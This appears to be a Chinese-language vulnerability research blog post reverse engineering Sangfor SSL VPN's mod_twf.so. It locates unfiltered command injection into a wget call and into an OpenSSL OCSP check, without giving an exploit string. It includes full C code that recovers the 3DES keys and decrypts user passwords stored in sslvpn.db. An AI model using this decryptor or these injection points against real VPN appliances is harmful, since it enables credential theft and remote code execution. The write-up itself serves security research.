深信服vpn逆向(挖洞)
概況
- 部分深信服vpn設備存在rce漏洞,可以直接getshell(寫入一個php的馬)
- 普通用戶登錄的主要處理邏輯在mod_twf.so
- 深信服ssl vpn設備主要是x86的linux
逆向
- 將mod_twf.so 加載到ida中
然后根據每個函數開頭的assert信息,去恢復函數的函數名與函數參數
__assert_fail
的定義如下
void __assert_fail(const char * assertion, const char * file, unsigned int line, const char * function);
由此我們可以將所有的函數名稱恢復,以便下面的操作。下面是幾個需要提前知道的知識點
深信服的url處理
有點類似於java servlet。在某個結構體中,存放着url,init初始化函數以及處理函數。如圖
檢測用戶登錄邏輯
if ( !(unsigned __int8)is_user_online(a2, (int)&v17, (int)&v15) )
return redirect_to(a2, "logout.csp");
部分用於處理用戶請求的函數中,開頭會通過is_user_online
去判斷用戶是否已經登陸。如果沒有登陸,則調用redirect_to 函數將用戶重定向至指定網頁.
獲取用戶輸入參數
通過twf_request_get_param
函數獲取用戶輸入的參數。主要是解析url參數。
漏洞復現分析研究
深信服ssl vpn命令注入漏洞
簡介
一句話,無需登錄,即可執行rce,2019年主要用來hw
分析
首先查找popen函數的xref交叉引用
可以看出有兩處引用。我們首先看CheckWebRc處代碼
可以很明顯的看出,該處代碼拼接了url, a3, a2至wget命令中,並且這三個參數在該處並沒有被過濾。檢查一下CheckWebRc的xref引用
可以很明顯的看出,三個參數分別為url, timeout, retry。並且沒有任何過濾。檢查一下該函數對應的url
exp也呼之欲出,自行解決
/etc/sangfor/sslvpn.db 解密
主要將svpnuser表的passwd字段解密
首先在string表中搜索關於svpnuser表的xref
點擊跟如update_pwd 函數,如圖
看來主要邏輯在changepwd_enc_base64中,跟進
函數邏輯我都已經處理好了,添加自己理解的注釋。將字符串調用des加密,然后base64編碼,得到最終的結果。跟進des3_encrypt中
因為主要通過3des加密,所以需要3組key和一組iv。通過動態生成key與iv,解決了硬編碼密碼的漏洞。跟進des3函數
該函數兼備了加密與解密。在加密中,因為iv是固定的,所以不需要保存。如果沒有指定salt的話,則使用rand隨機生成一個salt。salt經過3des加密后,拼接在加密后的密文前,長度為8。
所以我們可以通過如下方法寫出解密
#include <stdio.h>
#include <openssl/des.h>
#include <openssl/evp.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <string.h>
#include <assert.h>
size_t calcDecodeLength(const char* b64input) { //Calculates the length of a decoded string
size_t len = strlen(b64input),
padding = 0;
if (b64input[len - 1] == '=' && b64input[len - 2] == '=') //last two chars are =
padding = 2;
else if (b64input[len - 1] == '=') //last char is =
padding = 1;
return (len * 3) / 4 - padding;
}
int Base64Decode(char* b64message, unsigned char** buffer, size_t* length) { //Decodes a base64 encoded string
BIO* bio, * b64;
int decodeLen = calcDecodeLength(b64message);
*buffer = (unsigned char*)malloc(decodeLen + 1);
(*buffer)[decodeLen] = '\0';
bio = BIO_new_mem_buf(b64message, -1);
b64 = BIO_new(BIO_f_base64());
bio = BIO_push(b64, bio);
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL); //Do not use newlines to flush buffer
*length = BIO_read(bio, *buffer, strlen(b64message));
assert(*length == decodeLen); //length should equal decodeLen, else something went horribly wrong
BIO_free_all(bio);
return (0); //success
}
int main() {
unsigned __int8 a4[8];
unsigned int i; // [esp+1Ch] [ebp-1Ch]
unsigned __int8 c_ks3[8]; // [esp+20h] [ebp-18h]
unsigned __int8 c_ks2[8]; // [esp+28h] [ebp-10h]
unsigned __int8 c_ks1[8]; // [esp+30h] [ebp-8h]
c_ks1[0] = -2;
c_ks1[1] = (c_ks1[1] | 1) & 0xFD | 0xFC;
c_ks1[2] = (c_ks1[2] | 3) & 0xFB | 0xF8;
c_ks1[3] = (c_ks1[3] | 7) & 0xF7 | 0xF0;
c_ks1[4] = (c_ks1[4] | 0xF) & 0xEF | 0xE0;
c_ks1[5] = (c_ks1[5] | 0x1F) & 0xDF | 0xC0;
c_ks1[6] = (c_ks1[6] | 0x3F) & 0xBF | 0x80;
c_ks1[7] = (c_ks1[7] | 0x7F) & 0x7F;
*c_ks2 = 1;
*&c_ks2[1] = c_ks2[1] | 2;
c_ks2[2] |= 4u;
c_ks2[3] = 8;
*&c_ks2[4] = 16;
*&c_ks2[5] = c_ks2[5] | 0x20;
c_ks2[6] |= 0x40u;
c_ks2[7] = -128;
c_ks3[0] = (c_ks3[0] | 0x7F) & 0x7F;
c_ks3[1] = (c_ks3[1] | 0x3F) & 0x3F;
c_ks3[2] = (c_ks3[2] | 0x1F) & 0x1F;
c_ks3[3] = (c_ks3[3] | 0xF) & 0xF;
c_ks3[4] = -16;
c_ks3[5] = -8;
c_ks3[6] = -4;
c_ks3[7] = -2;
for (i = 0; i <= 7; ++i)
{
if ((c_ks1[i] & 1) != ((c_ks1[i] >> 1) & 1))
{
c_ks1[i] = ((c_ks1[i] & 1) + 1) & 1 | c_ks1[i] & 0xFE;
c_ks1[i] = 2 * ((((c_ks1[i] >> 1) & 1) + 1) & 1) | c_ks1[i] & 0xFD;
}
if (((c_ks1[i] >> 2) & 1) != ((c_ks1[i] >> 3) & 1))
{
c_ks1[i] = 4 * ((((c_ks1[i] >> 2) & 1) + 1) & 1) | c_ks1[i] & 0xFB;
c_ks1[i] = 8 * ((((c_ks1[i] >> 3) & 1) + 1) & 1) | c_ks1[i] & 0xF7;
}
if (((c_ks1[i] >> 4) & 1) != ((c_ks1[i] >> 5) & 1))
{
c_ks1[i] = 16 * ((((c_ks1[i] >> 4) & 1) + 1) & 1) | c_ks1[i] & 0xEF;
c_ks1[i] = 32 * ((((c_ks1[i] >> 5) & 1) + 1) & 1) | c_ks1[i] & 0xDF;
}
if (((c_ks1[i] >> 6) & 1) != c_ks1[i] >> 7)
{
c_ks1[i] = (((((c_ks1[i] >> 6) & 1) + 1) & 1) << 6) | c_ks1[i] & 0xBF;
c_ks1[i] = (((c_ks1[i] >> 7) + 1) << 7) | c_ks1[i] & 0x7F;
}
if ((c_ks2[i] & 1) != ((c_ks2[i] >> 1) & 1))
{
c_ks2[i] = ((c_ks2[i] & 1) + 1) & 1 | c_ks2[i] & 0xFE;
c_ks2[i] = 2 * ((((c_ks2[i] >> 1) & 1) + 1) & 1) | c_ks2[i] & 0xFD;
}
if (((c_ks2[i] >> 2) & 1) != ((c_ks2[i] >> 3) & 1))
{
c_ks2[i] = 4 * ((((c_ks2[i] >> 2) & 1) + 1) & 1) | c_ks2[i] & 0xFB;
c_ks2[i] = 8 * ((((c_ks2[i] >> 3) & 1) + 1) & 1) | c_ks2[i] & 0xF7;
}
if (((c_ks2[i] >> 4) & 1) != ((c_ks2[i] >> 5) & 1))
{
c_ks2[i] = 16 * ((((c_ks2[i] >> 4) & 1) + 1) & 1) | c_ks2[i] & 0xEF;
c_ks2[i] = 32 * ((((c_ks2[i] >> 5) & 1) + 1) & 1) | c_ks2[i] & 0xDF;
}
if (((c_ks2[i] >> 6) & 1) != c_ks2[i] >> 7)
{
c_ks2[i] = (((((c_ks2[i] >> 6) & 1) + 1) & 1) << 6) | c_ks2[i] & 0xBF;
c_ks2[i] = (((c_ks2[i] >> 7) + 1) << 7) | c_ks2[i] & 0x7F;
}
if ((c_ks3[i] & 1) != ((c_ks3[i] >> 1) & 1))
{
c_ks3[i] = ((c_ks3[i] & 1) + 1) & 1 | c_ks3[i] & 0xFE;
c_ks3[i] = 2 * ((((c_ks3[i] >> 1) & 1) + 1) & 1) | c_ks3[i] & 0xFD;
}
if (((c_ks3[i] >> 2) & 1) != ((c_ks3[i] >> 3) & 1))
{
c_ks3[i] = 4 * ((((c_ks3[i] >> 2) & 1) + 1) & 1) | c_ks3[i] & 0xFB;
c_ks3[i] = 8 * ((((c_ks3[i] >> 3) & 1) + 1) & 1) | c_ks3[i] & 0xF7;
}
if (((c_ks3[i] >> 4) & 1) != ((c_ks3[i] >> 5) & 1))
{
c_ks3[i] = 16 * ((((c_ks3[i] >> 4) & 1) + 1) & 1) | c_ks3[i] & 0xEF;
c_ks3[i] = 32 * ((((c_ks3[i] >> 5) & 1) + 1) & 1) | c_ks3[i] & 0xDF;
}
if (((c_ks3[i] >> 6) & 1) != c_ks3[i] >> 7)
{
c_ks3[i] = (((((c_ks3[i] >> 6) & 1) + 1) & 1) << 6) | c_ks3[i] & 0xBF;
c_ks3[i] = (((c_ks3[i] >> 7) + 1) << 7) | c_ks3[i] & 0x7F;
}
}
*a4 = 18;
a4[1] = 52;
a4[2] = 86;
a4[3] = 120;
a4[4] = 144;
a4[5] = 171;
a4[6] = 205;
a4[7] = 239;
DES_set_odd_parity((DES_cblock *)c_ks1);
DES_set_odd_parity((DES_cblock *)c_ks2);
DES_set_odd_parity((DES_cblock *)c_ks3);
DES_cblock* iv = (DES_cblock * )a4;
DES_key_schedule s1, s2, s3;
if (DES_set_key_checked((DES_cblock*)c_ks1, &s1) < 0 || DES_set_key_checked((DES_cblock*)c_ks2, &s2) < 0 || DES_set_key_checked((DES_cblock*)c_ks3, &s3) < 0) {
return -1;
}
char passwd[100] = "UMTiSyhCAPCSRVpUCbKTiLMAU7uBYYfj";
size_t passwd_len = strlen(passwd);
char* output = (char*)malloc(100 * sizeof(char));
Base64Decode((char*)&passwd, (unsigned char**)&output, &passwd_len);
passwd_len = 24;
unsigned char* salt = (unsigned char*)malloc(8 * sizeof(unsigned char));
int num = 0;
DES_ede3_cfb64_encrypt((const unsigned char*)output, salt, 8, &s1, &s2, &s3, iv, &num, 0);
passwd_len -= 8;
unsigned char* outdat = (unsigned char*)malloc(100 * sizeof(unsigned char));
if (passwd_len)
DES_ede3_cfb64_encrypt((const unsigned char*)(output + 8), outdat, passwd_len, &s1, &s2, &s3, iv, &num, 0);
return 0;
}
可疑命令執行
回到上面的popen的xref中回到另一處函數execute_command
auth_check_ocsp函數調用了execute_command函數,我們來看一下代碼
跟進openssl_oscp_create中
可以很明顯的看出存在拼接參數,且參數並未經過過濾的命令注入漏洞。看樣子通過調用openssl來實現某些認證
check_vaild 函數調用了auth_check_oscp函數,如圖
而auth_cert_service 調用了check_vaild
因為參數過於復雜,並且沒有動態調試的情況下,很難構造poc
結論
深信服vpn中這樣的漏洞還有很多,建議加強安全開發經驗。如果有vpn讓我玩就更好了。